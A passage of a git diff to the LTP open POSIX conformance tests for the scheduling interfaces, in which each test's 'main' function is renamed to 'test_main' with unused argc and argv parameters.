a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/3-1.c index ee421a19..3765e725 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/3-1.c @@ -23,7 +23,7 @@ #include <sys/wait.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec interval; int result = -2, child_pid, stat_loc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/speculative/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/speculative/5-1.c index bbc25e32..ee9ab09d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/speculative/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/speculative/5-1.c @@ -20,7 +20,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/1-1.c index 95417920..5d44ea71 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/1-1.c @@ -41,7 +41,7 @@ static void child_proc() exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result, child_pid, tmp_errno, policy; int min_priority, new_priority, old_priority; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c index ee106c67..d7b8ced9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c @@ -80,7 +80,7 @@ static void sigterm_handler(int signum PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int child_count, i; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c index c81ffd37..03b421c0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c @@ -80,7 +80,7 @@ static void sigterm_handler(int signum PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int child_count, i; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/20-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/20-1.c index d323c1ff..9b110d1a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/20-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/20-1.c @@ -27,7 +27,7 @@ static void *runner(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int new_priority, max_priority, policy, result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/21-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/21-1.c index b03526e5..dc48776d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/21-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/21-1.c @@ -27,7 +27,7 @@ static void *runner(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int new_priority, max_priority, old_policy, policy, result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/21-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/21-2.c index afe03e9a..45ec8306 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/21-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/21-2.c @@ -27,7 +27,7 @@ static void *runner(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int new_priority, max_priority, policy, result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/22-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/22-1.c index 3c68b8fd..3ce49211 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/22-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/22-1.c @@ -15,7 +15,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-1.c index b6a8f56c..3f3ce10a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-1.c @@ -16,7 +16,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, invalid_priority, old_priority; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-2.c index a31eb1df..9d24c83e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-2.c @@ -22,7 +22,7 @@ #if defined(_POSIX_SPORADIC_SERVER) && (_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, invalid_priority, old_priority; struct sched_param param; @@ -71,7 +71,7 @@ int main(void) } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-3.c index 8ecabf36..f0008392 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-3.c @@ -20,7 +20,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int old_priority; struct sched_param param; @@ -56,7 +56,7 @@ int main(void) } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-4.c index d5392679..729fa18f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-4.c @@ -20,7 +20,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int old_priority; struct sched_param param; @@ -51,7 +51,7 @@ int main(void) } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-5.c index 5e020c63..ebf55a55 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-5.c @@ -20,7 +20,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int old_priority; struct sched_param param; @@ -51,7 +51,7 @@ int main(void) } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-6.c index 5e196495..066a4c8a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-6.c @@ -51,7 +51,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int old_priority; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-7.c index b5cf923e..569e59b9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-7.c @@ -19,7 +19,7 @@ #include <sys/wait.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sched_param param; int child_pid, stat_loc, old_priority; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-1.c index 26037048..31171b3b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-1.c @@ -17,7 +17,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, invalid_priority, result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-2.c index 6183f8cf..1160e43e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-2.c @@ -23,7 +23,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, invalid_priority, result; struct sched_param param; @@ -75,7 +75,7 @@ int main(void) } #elif _POSIX_SPORADIC_SERVER == -1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("_POSIX_SPORADIC_SERVER support not available\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-3.c index 1d4f8b60..c1ebfcf8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-3.c @@ -22,7 +22,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, result; struct sched_param param; @@ -58,7 +58,7 @@ int main(void) } #elif _POSIX_SPORADIC_SERVER == -1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("_POSIX_SPORADIC_SERVER support not available\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-4.c index c3936292..228c68c8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-4.c @@ -21,7 +21,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, result; int result_code = PTS_PASS; @@ -77,7 +77,7 @@ int main(void) } #elif _POSIX_SPORADIC_SERVER == -1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("_POSIX_SPORADIC_SERVER support not available\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/26-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/26-1.c index 93b78448..f3d13ad0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/26-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/26-1.c @@ -50,7 +50,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/27-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/27-1.c index dca15fa2..8a46c621 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/27-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/27-1.c @@ -22,7 +22,7 @@ #include <sys/wait.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sched_param param; int result, child_pid, stat_loc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/5-1.c index 32a3e74d..26dfeeec 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/5-1.c @@ -17,7 +17,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result, new_priority, old_priority, max_prio, policy; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c index 6f158da0..693a563c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c @@ -105,7 +105,7 @@ static void kill_children(int *child_pid, int count) free(child_pid); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *child_pid, oldcount, newcount, shm_id, i; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/1-1.c index 515f6e5f..5c5400da 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/1-1.c @@ -39,7 +39,7 @@ static struct unique { 0, 0} }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int tmp, policy, priority, result = PTS_PASS; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-1.c index a7324e8d..d3c264aa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-1.c @@ -28,7 +28,7 @@ static void *runner(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int new_policy, policy, result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-2.c index 5fa6f709..8c9a9cda 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-2.c @@ -28,7 +28,7 @@ static void *runner(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int new_priority, max_priority, policy, result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/16-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/16-1.c index 73dcce30..15822d3c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/16-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/16-1.c @@ -22,7 +22,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result, old_policy, new_policy; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-1.c index f0d49aeb..ca2cbcf2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-1.c @@ -42,7 +42,7 @@ static struct unique { 0, 0} }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, invalid_priority, result = PTS_PASS; int old_priority, old_policy, new_policy; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-2.c index 54bbbe4d..7dd4de12 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-2.c @@ -28,7 +28,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int invalid_priority; int old_priority, old_policy, new_policy; @@ -84,7 +84,7 @@ int main(void) } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-3.c index 4d5dae71..2524aa62 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-3.c @@ -28,7 +28,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, result; int old_priority, old_policy, new_policy; @@ -83,7 +83,7 @@ int main(void) } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-4.c index 9c0a8da8..969fdd01 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-4.c @@ -28,7 +28,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int max_priority, old_priority, old_policy, new_policy; struct sched_param param; @@ -81,7 +81,7 @@ int main(void) } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-5.c index 7082af22..fde20275 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-5.c @@ -33,7 +33,7 @@ #define ERR_MSG(f, rc) printf("Failed: %s rc: %d errno: %s\n", \ f, rc, strerror(errno)) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int old_priority, old_policy, new_policy; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-6.c index 04b9d03f..fc1d5c59 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-6.c @@ -58,7 +58,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int max_priority, old_priority, old_policy, new_policy, policy; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-7.c index ee886f8e..3d5e82ba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/17-7.c @@ -28,7 +28,7 @@ #include <sys/wait.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int max_priority, old_priority, old_policy, new_policy, policy; int child_pid, stat_loc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-1.c index f4043c91..1e11442c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-1.c @@ -37,7 +37,7 @@ static struct unique { 0, 0} }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, invalid_priority, tmp, result = PTS_PASS; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-2.c index c83cd884..2b243bfa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-2.c @@ -22,7 +22,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int invalid_priority, result; struct sched_param param; @@ -55,7 +55,7 @@ int main(void) } } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-3.c index c4d784e0..d4218769 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-3.c @@ -23,7 +23,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, result; struct sched_param param; @@ -59,7 +59,7 @@ int main(void) return PTS_FAIL; } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-4.c index 0713c34b..ff26199c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-4.c @@ -24,7 +24,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int policy, result; int result_code = PTS_PASS; @@ -82,7 +82,7 @@ int main(void) } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-5.c index da3d950f..f4135dd7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/19-5.c @@ -26,7 +26,7 @@ /* There is no chance that a scheduling policy has such a value */ #define INVALID_POLICY -27367 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/20-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/20-1.c index 0cc8591b..46335ce0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/20-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/20-1.c @@ -56,7 +56,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/21-1.c 